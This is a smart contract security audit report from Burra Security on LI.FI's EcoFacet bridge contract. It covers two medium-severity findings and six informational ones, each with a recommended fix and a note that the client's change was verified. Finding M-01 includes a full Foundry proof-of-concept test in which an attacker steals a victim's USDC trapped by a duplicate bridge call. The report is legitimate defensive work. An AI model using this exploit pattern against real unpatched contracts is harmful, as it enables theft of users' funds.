BURRA SEC

LI.FI (EcoFacet v1.1.0) Security Review

Reviewed by: Goran Vladika, Mirko Pezo

13th October - 15th October, 2025

LI.FI (EcoFacet v1.1.0) Security Review Report

Burra Security

October 20, 2025

Introduction

A time-boxed security review of the **LI.FI** protocol was done by **Burra Security** team, focusing on the security aspects of the smart contracts.

Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource, and expertise-bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any vulnerabilities. Subsequent security reviews, bug bounty programs, and on-chain monitoring are recommended.

About Burra Security

Burra Sec offers security auditing and advisory services with a special focus on cross-chain and interoperability protocols and their integrations.

Security review team

Goran Vladika is a security researcher and smart contract engineer with five years of experience in the blockchain industry. After beginning his Web3 career in the DeFi space, Goran joined Offchain Labs as a blockchain engineer, where he contributed to the core smart contract components of Arbitrum. His work included the design, implementation, and security of Arbitrum's native bridge, token bridge and rollup stack, critical infrastructure that secures billions of dollars in TVL. This bridging technology has since been adopted by dozens of applications and L2 and L3 chains built using the Arbitrum Orbit stack. Goran's experience building cross-chain systems at both the protocol and application layers has provided him with a strong foundation in blockchain security. As a security researcher, he has helped secure leading projects in the interoperability space including Centrifuge, LiFi, PancakeSwap, ZetaChain and DODO, as well as L1/L2 protocols such as Telcoin and Citrea.

Mirko Pezo is a security researcher and smart contract engineer with 4 years of professional experience in the blockchain industry. He holds a master's degree in computer engineering and has been active in the crypto space for over 9 years, with experience across various DeFi and NFT projects.

About Eco Facet v1.1.0

The Eco Facet enables cross-chain token transfers using the Eco Protocol's intent-based bridging system. It creates an intent that specifies the desired outcome on the destination chain, which solvers then fulfill in exchange for a reward. The facet supports both EVM and non-EVM destination chains through encoded route data.

Severity classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

Impact - The technical, economic, and reputation damage from a successful attack

Likelihood - The chance that a particular vulnerability gets discovered and exploited

Severity - The overall criticality of the risk

Informational - Findings in this category are recommended changes for improving the structure, usability, and overall effectiveness of the system.

Security Assessment Summary

review commit hash **- 25a5b880bca3ea51f060787e30ccc2bdcd13d6f9**

Scope

The following smart contracts were in the scope of the audit:

- src/Facet/EcoFacet.sol
- src/interfaces/IEcoPortal.sol

Findings Summary

ID	Title	Severity	Status
M-1	Duplicate bridge transactions in `EcoFacet` trap user funds, allowing theft by an attacker	Medium	Resolved
M-2	Refund after expired intent can be lost	Medium	Resolved
I-1	Use `constant` instead of `immutable` for compile-time values	Info	Resolved
I-2	Redundant check in `_validateEcoData` function	Info	Resolved
I-3	Positive slippage can be directed to user instead of solver	Info	Resolved
I-4	Unnecessary argument in `_depositAndSwap` function call	Info	Resolved
I-5	Misleading comment regarding Solana data validation	Info	Resolved
I-6	Validation in `_validateEcoData` could be more specific	Info	Resolved

Detailed Findings

[M-01] Duplicate bridge transactions in `EcoFacet` trap user funds, allowing theft by an attacker

Target

- EcoFacet.sol#L95

Severity

- Impact: High
- Likelihood: Low

Description

A vulnerability in the `EcoFacet::startBridgeTokensViaEco` function allows for multiple calls with identical parameters for the same bridging intent. Internally, this function calls `Portal::publishAndFund`. When `Portal::publishAndFund` is called for an intent that has already been funded, the function executes successfully without reverting but skips the transfer of funds. This behavior prevents `EcoFacet` from detecting that the intent was already funded. Consequently, any subsequent call to `startBridgeTokensViaEco` successfully withdraws funds from the user but fails to deposit them into the `Portal` vault, leaving the assets trapped within the `LiFiDiamond` contract.

```
// Source: Eco Protocol - IntentSource.sol

modifier onlyFundable(bytes32 intentHash) {
    Status status = rewardStatuses[intentHash];

    if (status == Status.Withdrawn || status == Status.Refunded) {
        revert InvalidStatusForFunding(status);
    }

    if (status == Status.Funded) {
        return; // <-- ... silently returns if already funded ...
    }

    _;
}

function _fundIntent(
    bytes32 intentHash,
    // ...
) internal onlyFundable(intentHash) {
    // ... funding logic is skipped if the modifier returns early ...
}
```

This flaw enables an attacker to steal the trapped funds. The attack scenario unfolds as follows:

1. A user initiates a bridge transfer using `EcoFacet::startBridgeTokensViaEco`.
2. While the initial bridge transfer is pending, the user executes a second, identical transaction. The funds from this second transaction become locked in the `LiFiDiamond` contract.
3. An attacker monitors the `LiFiDiamond` contract and detects the trapped funds (e.g., 110 USDC).
4. The attacker calls the `swapAndStartBridgeTokensViaEco` function, initiating a swap from the trapped asset (USDC) to another asset (e.g., DAI) for a nominal amount.
5. The attacker's swap and transfer execute. Upon completion, the `SwapperV2::noLeftovers` modifier calls the internal `SwapperV2::_refundLeftovers` function. This function calculates the refundable amount based on the contract's entire balance of the input token. It incorrectly identifies the victim's 110 USDC as a leftover from the attacker's swap and refunds the entire amount to the attacker.

This interaction between the fund-locking flaw in `EcoFacet` and the token-sweeping behavior in the swap functionality leads to a direct and permanent loss of user funds.

Place this test in the `EcoFacet.t.sol` file:

```
function testPoc_DuplicateBridgeCallAllowsFundTheft() public {
    // ======================================================================
    // 1. Victim's actions: A user makes a duplicate bridge transaction,
    //    leaving funds trapped in the diamond contract.
    // ======================================================================
    address victim = makeAddr("victim");

    // Amount to bridge: 100 USDC (default) + 10 USDC (solver reward) = 110 USDC
    uint256 amountToBridge = defaultUSDCAmount + TOKEN_SOLVER_REWARD;

    vm.startPrank(victim);

    bridgeData.minAmount = amountToBridge;

    // Give victim enough USDC for two transactions (220 USDC) and approve
    deal(ADDRESS_USDC, victim, amountToBridge * 2);
    usdc.approve(_facetTestContractAddress, amountToBridge * 2);

    // First transaction (successful)
    initiateBridgeTxWithFacet(false);

    // Second, duplicate transaction (funds get trapped)
    initiateBridgeTxWithFacet(false);

    vm.stopPrank();

    // Assert victim's balance is now 0, as they have spent all their funds
    assertEq(
        usdc.balanceOf(victim),
        0,
        "Victim's USDC balance should be zero"
    );

    // Assert that the funds from the second tx (110 USDC) are now trapped in the contract
    assertEq(
        usdc.balanceOf(_facetTestContractAddress),
        amountToBridge,
        "Contract should hold victim's trapped funds"
```

```
    );

    // ==================================================================
    // 2. Attacker's actions: Attacker performs a swap to trigger the
    //    refund mechanism and steal the trapped funds.
    // ==================================================================
    address attacker = USER_SENDER;
    vm.startPrank(attacker);

    // Attacker will swap a nominal amount (1 USDC) for DAI to steal
        the trapped USDC
    uint256 attackerSwapAmount = 1 * 10 ** 6; // 1 USDC

    deal(ADDRESS_USDC, attacker, attackerSwapAmount);
    usdc.approve(_facetTestContractAddress, attackerSwapAmount);
    uint256 attackerUsdcBalanceBefore = usdc.balanceOf(attacker);

    // Set up swap data for USDC -> DAI
    LibSwap.SwapData[] memory swapDataAttacker = new LibSwap.SwapData
        [](1);
    address[] memory path = new address[](2);
    path[0] = ADDRESS_USDC;
    path[1] = ADDRESS_DAI;

    uint256 expectedDaiAmount = uniswap.getAmountsOut(
        attackerSwapAmount,
        path
    )[1];

    swapDataAttacker[0] = LibSwap.SwapData({
        callTo: address(uniswap),
        approveTo: address(uniswap),
        sendingAssetId: ADDRESS_USDC,
        receivingAssetId: ADDRESS_DAI,
        fromAmount: attackerSwapAmount,
        callData: abi.encodeWithSelector(
            uniswap.swapExactTokensForTokens.selector,
            attackerSwapAmount,
            0,
            path,
            _facetTestContractAddress,
            block.timestamp
        ),
        requiresDeposit: true
    });

    // Configure the bridge part of the transaction for the DAI
```

```
        received
    ILiFi.BridgeData memory bridgeDataAttacker = bridgeData;
    bridgeDataAttacker.sendingAssetId = ADDRESS_DAI;
    bridgeDataAttacker.minAmount = expectedDaiAmount;
    bridgeDataAttacker.hasSourceSwaps = true;
    bridgeDataAttacker.receiver = attacker;

    // Construct the EcoData with a valid encodedRoute for the attacker's tx
    EcoFacet.Call[] memory calls = new EcoFacet.Call[](1);
    calls[0] = EcoFacet.Call({
        target: ADDRESS_DAI,
        callData: abi.encodeWithSignature(
            "transfer(address,uint256)",
            attacker,
            expectedDaiAmount
        )
    });
    EcoFacet.Route memory route = EcoFacet.Route({
        salt: bytes32(0),
        deadline: 0,
        portal: address(this),
        nativeAmount: 0,
        tokens: new IEcoPortal.TokenAmount[](0),
        calls: calls
    });
    EcoFacet.EcoData memory ecoDataAttacker = EcoFacet.EcoData({
        nonEVMReceiver: "",
        prover: address(0x1234),
        rewardDeadline: uint64(block.timestamp + 2 days),
        encodedRoute: abi.encode(route),
        solanaATA: bytes32(0)
    });

    // Attacker calls swapAndStartBridgeTokensViaEco
    ecoFacet.swapAndStartBridgeTokensViaEco(
        bridgeDataAttacker,
        swapDataAttacker,
        ecoDataAttacker
    );

    vm.stopPrank();

    // =================================================================
    // 3. Final assertions: Verify the funds have been stolen.
    // =================================================================

```

```
    // The contract should have no more USDC left
    assertEq(
        usdc.balanceOf(_facetTestContractAddress),
        0,
        "Contract USDC balance should be zero"
    );

    // Attacker's balance increases by the victim's trapped amount (110
        USDC).
    // Their own 1 USDC is consumed in the swap.
    uint256 expectedAttackerBalance = attackerUsdcBalanceBefore -
        attackerSwapAmount +
        amountToBridge;
    assertEq(
        usdc.balanceOf(attacker),
        expectedAttackerBalance,
        "Attacker should have stolen the funds"
    );
}
```

Recommendation

It is recommended to implement a check within the `EcoFacet` to verify that a bridging intent has not already been funded before processing the transaction. This requires adding a function to the `IEcoPortal` interface to query the status of an intent, and then using that function in the `EcoFacet` to validate the transaction.

The following code snippets represent the suggested implementation of this fix.

`src/Interfaces/IEcoPortal.sol`

```
interface IEcoPortal {
+   enum Status {
+       Initial, /// @dev Intent created, may be partially funded but
    not fully funded
+       Funded, /// @dev Intent has been fully funded with all required
     rewards
+       Withdrawn, /// @dev Rewards have been withdrawn by claimant
+       Refunded /// @dev Rewards have been refunded to creator
+   }

    struct TokenAmount {
        address token;
        uint256 amount;
    }

    // ... existing code ...

```

```
+   function getRewardStatus(
+       bytes32 intentHash
+   ) external view returns (Status status);
}
```

src/Facets/EcoFacet.sol

```
contract EcoFacet is ILiFi, ReentrancyGuard, SwapperV2, Validatable, LiFiData {
    // ... existing code ...

+   /// @dev Thrown when an Eco intent has already been funded
+   error IntentAlreadyFunded();

    // ... existing code ...

    function _startBridge(
        ILiFi.BridgeData memory _bridgeData,
        EcoData calldata _ecoData
    ) internal {
        // ... existing code ...

        uint64 destination;
        if (_bridgeData.destinationChainId == LIFI_CHAIN_ID_TRON) {
            destination = ECO_CHAIN_ID_TRON;
        } else if (_bridgeData.destinationChainId == LIFI_CHAIN_ID_SOLANA) {
            destination = ECO_CHAIN_ID_SOLANA;
        } else {
            if (_bridgeData.destinationChainId > type(uint64).max) {
                revert InvalidConfig();
            }
            destination = uint64(_bridgeData.destinationChainId);
        }

+       bytes32 intentHash = _getIntentHash(
+           destination,
+           _ecoData.encodedRoute,
+           reward
+       );
+
+       if (PORTAL.getRewardStatus(intentHash) != IEcoPortal.Status.Initial) {
+           revert IntentAlreadyFunded();
+       }

        // ... existing code ...
    }

+   function _getIntentHash(
+       uint64 destination,
```

```
+        bytes calldata route,
+        IEcoPortal.Reward memory reward
+    ) private pure returns (bytes32) {
+        bytes32 routeHash = keccak256(route);
+        bytes32 rewardHash = keccak256(abi.encode(reward));
+        return keccak256(abi.encodePacked(destination, routeHash,
     rewardHash));
+    }
```

Client

Fixed in https://github.com/lifinance/contracts/pull/1421/

BurraSec

Update verified.

[M-02] Refund after expired intent can be lost

Target

- EcoFacet.sol#L171

Severity

- Impact: High
- Likelihood: Low

Description

When creating the intent, `EcoFacet` sets `reward.creator` param to be msg.sender. That's the address which Eco uses to issue refunds to, in case that intent does not get fulfilled before deadline for any reason (no willing solver to do the filling). The assumption when using `msg.sender` for `reward.creator` is that caller is the end user. However that does not have to be the case. The caller can be LiFi's `Permit2Proxy`. Or it can be some integrator contract which sits between end user and LiFi. So in case of intent deadline expiry refunded tokens will not be sent to the actual intent creator, but to contracts where creator cannot control them. In some cases refund will be effectively lost.

Recommendation

Add new param to `EcoData` called `intentCreator` or `refundRecipient`. This address is provided by user and can be set as `reward.creator`. That way, potential refunds of expired intents will end up at the intended address controlled by user.

Client

Fixed in https://github.com/lifinance/contracts/pull/1421/

BurraSec

Fix verified

[I-01] Use `constant` instead of `immutable` for compile-time values

Target

- EcoFacet.sol#L24-L25

Severity

INFO

Description

In the `EcoFacet` contract, the state variables `ECO_CHAIN_ID_TRON` and `ECO_CHAIN_ID_SOLANA` are declared as `immutable` but are initialized with hardcoded values. Variables with values known at compile-time should be declared as `constant` to better reflect their nature and adhere to Solidity best practices. The `immutable` keyword is more suitable for variables assigned in the constructor.

Furthermore, these variables are categorized under a `/// Storage ///` comment, which is inaccurate as they are not stored in contract storage.

Recommendation

For improved code clarity and correctness, change the declaration of `ECO_CHAIN_ID_TRON` and `ECO_CHAIN_ID_SOLANA` from `immutable` to `constant`.

```
-     uint64 private immutable ECO_CHAIN_ID_TRON = 728126428;
-     uint64 private immutable ECO_CHAIN_ID_SOLANA = 1399811149;
+     uint64 private constant ECO_CHAIN_ID_TRON = 728126428;
+     uint64 private constant ECO_CHAIN_ID_SOLANA = 1399811149;
```

It is also recommended to update the `/// Storage ///` comment to something more accurate, such as `/// Constants and Immutables ///`.

Client

Fixed in https://github.com/lifinance/contracts/pull/1421/

BurraSec

Update verified.

[I-02] Redundant check in `_validateEcoData` function

Target

- EcoFacet.sol#L233

Severity

INFO

Description

In the `_validateEcoData` function, the `_ecoData.rewardDeadline == 0` check is redundant. The subsequent condition, `_ecoData.rewardDeadline <= block.timestamp`, already covers the case where `rewardDeadline` is zero. Removing the unnecessary check improves code clarity and offers a minor gas saving.

Recommendation

For gas optimization and to simplify the code, remove the redundant `_ecoData.rewardDeadline == 0` check.

```diff
-        if (
-            _ecoData.rewardDeadline == 0 ||
-            _ecoData.rewardDeadline <= block.timestamp
-        ) {
+        if (_ecoData.rewardDeadline <= block.timestamp) {
             revert InvalidConfig();
         }
```

Client

Fixed in https://github.com/lifinance/contracts/pull/1421/

BurraSec

Update verified.

[I-03] Positive slippage can be directed to user instead of solver

Target

- EcoFacet.sol#L120

Severity

INFO

Description

EcoFacet's `swapAndStartBridgeTokensViaEco` function has this disclaimer:

```
    /// @dev IMPORTANT LIMITATION: For ERC20 tokens, positive slippage from pre-bridge swaps
    /// may remain in the diamond contract. The intent amount is encoded in encodedRoute
```

```
    /// (provided by Eco API), and the Portal only transfers the exact
        amount specified in minAmount.
    /// If swaps produce more tokens than expected (positive slippage),
        only minAmount is transferred
    /// to the Portal vault. Any excess remains in the diamond. This is
        a known limitation that can
    /// be significant when bridging large amounts.
```

This is not quite precise. Portal will transfer the amount of tokens which is specified in `reward.tokens.amount`:

```
    function _fundIntent(
        bytes32 intentHash,
        address vault,
        Reward memory reward,
        address funder,
        bool allowPartial
    ) internal onlyFundable(intentHash) {
            // ...
           // @audit fetch `reward.tokens[i].amount` tokens
          _fundToken(vault, funder, token, reward.tokens[i].amount);
    }
```

And `reward.tokens.amount` holds the `totalAmount` which includes all of intent amount, reward and positive slippage. That means the positive slippage gets transferred to vault as well, in addition to the intent amount and reward. After intent is filled solver gets to pick up that extra amount.

Note, in this context 'positive slippage' is *any* gain resulting from swap execution that is above the minimal accepted swap price. Majority of swaps do execute above the minimal price. So with current implementation solver will always collect this gain.

Recommendation

Facet implementation can be updated to refund positive slippage to the intent creator and keep `_bridgeData.minAmount` as originally provided:

```
      function swapAndStartBridgeTokensViaEco(
       // ... //
      {
          _validateEcoData(_bridgeData, _ecoData);

-         _bridgeData.minAmount = _depositAndSwap(
+         uint256 actualAmountAfterSwap = _depositAndSwap(
              _bridgeData.transactionId,
              _bridgeData.minAmount,
              _swapData,
              payable(msg.sender),
```

```
                0
            );

+           if (actualAmountAfterSwap > _bridgeData.minAmount) {
+               uint256 positiveSlippage = actualAmountAfterSwap -
+                   _bridgeData.minAmount;
+               LibAsset.transferAsset(
+                   _bridgeData.sendingAssetId,
+                   payable(msg.sender),
+                   positiveSlippage
+               );
+           }
+
            _startBridge(_bridgeData, _ecoData);
        }
```

Client

FIxed in https://github.com/lifinance/contracts/pull/1421/

BurraSec

Fix verified, positive slippage is refunded

[I-04] Unnecessary argument in `_depositAndSwap` function call

Target

- EcoFacet.sol#L147

Severity

INFO

Description

In the `swapAndStartBridgeTokensViaEco` function, the `_depositAndSwap` function is called with a `_nativeReserve` argument of `0`. This is inefficient because an overloaded version of `_depositAndSwap` with four arguments is available for cases where no native reserve is required. Calling the five-argument version incurs unnecessary gas costs for processing the zero value.

Recommendation

For gas optimization, call the four-argument version of `_depositAndSwap` when the native reserve is zero.

```
          _bridgeData.minAmount = _depositAndSwap(
              _bridgeData.transactionId,
              _bridgeData.minAmount,
              _swapData,
-             payable(msg.sender),
-             0
+             payable(msg.sender)
          );
```

Client

Fixed in https://github.com/lifinance/contracts/pull/1421/

BurraSec

Update verified.

[I-05] Misleading comment regarding Solana data validation

Target

- EcoFacet.sol#L297

Severity

INFO

Description

The EcoFacet contract contains misleading comment regarding Solana address validation that could lead to integration failures and user confusion. The code comment incorrectly states that bytes 251-283 of the encoded route contain the “recipient account (destination wallet)” when it contains the Associated Token Account (ATA) address.

Unlike EVM chains where tokens can be sent directly to any wallet address, Solana requires tokens to be held in Associated Token Accounts (ATAs). Each SPL token requires a separate ATA that is deterministically derived from wallet's public key (owner), token mint address and token program ID.

For example, for a user wallet `4iJgdbfXMFHeAJqRFvSMKo35RpUNWqsJ9aqFHgCEP73D` (base-58 encoded) and USDC token `EPjFWdd5AufqSSqeM2qN1xzybapC8G4wEGGkZwyTDt1v` the ATA address is:

```
spl-token address --verbose --owner 4iJgdbfXMFHeAJqRFvSMKo35RpUNWqsJ9aqFHgCEP73D --token EPjFWdd5AufqSSqeM2qN1xzybapC8G4wEGGkZwyTDt1v
Wallet address: 4iJgdbfXMFHeAJqRFvSMKo35RpUNWqsJ9aqFHgCEP73D
Associated token address: BFmyPPXLZzUTfqMXaYuhG4qfSvjdjVcCcvL2xRwfei3m
```

Route will have it encoded in hex. Base-58 can be converted to hex like this:

```
python3 -c "import base58; print(base58.b58decode('BFmyPPXLZzUTfqMXaYuhG4qfSvjdjVcCcvL2xRwfei3m').hex())"
985dd9cd407f7cf827a213583ce097fed113e783fbdacb6ee64909562aed25cc
```

Recommendation

Update the code comment to accurately reflect what is being validated:

```
        // Extract the Associated Token Account (ATA) from the Borsh-encoded Route struct
        // The Route struct contains TransferChecked instruction calldata where:
        // - The entire Route struct is Borsh-serialized
        // - Within the serialized Route, the TransferChecked instruction data is embedded
        // - The destination ATA address is located at bytes 251-283 (32 bytes)
        // - This position is determined by the Route struct layout and the position of the
        //   ATA pubkey within the TransferChecked instruction calldata
        // - Borsh encoding preserves the exact byte positions for fixed-size fields like pubkeys
        // - The total encoded route for Solana must be exactly 319 bytes
        // Extract bytes 251-283 (32 bytes) which contain the destination ATA
```

Client

Fixed in https://github.com/lifinance/contracts/pull/1421/

BurraSec

Update verified.

[I-06] Validation in `_validateEcoData` could be more specific

Target

- EcoFacet.sol#L263-L284

Severity

INFO

Description

The comments in the `_validateEcoData` function suggest that the last call in a route is intended to be an ERC20 `transfer`:

```
// The last call should be the transfer to the receiver
// For ERC20 transfer, the calldata follows the pattern: transfer(address,uint256)
// We need to skip the function selector (4 bytes) and decode the address parameter
```

However, the validation only confirms that the `receiver` address matches. The function selector and calldata length are not checked, meaning a call to a different function like `approve(address,uint256)` would pass this validation as long as the spender address matches the receiver.

Recommendation

The existing validation is perfectly acceptable from a security perspective. It does not introduce any security issues, as an invalidly crafted intent would fail and could be refunded by the user.

If you wish to align the code more closely with the inline comments, you could add checks to verify that the last calldata length is 68 bytes and that the function selector matches the ERC20 transfer selector (`0xa9059cbb`). Additionally, you could consider validating other fields in the decoded `route`, such as the `deadline` and `portal`, to ensure they are set to reasonable values.

Client

Fixed in https://github.com/lifinance/contracts/pull/1421/

BurraSec

Update verified.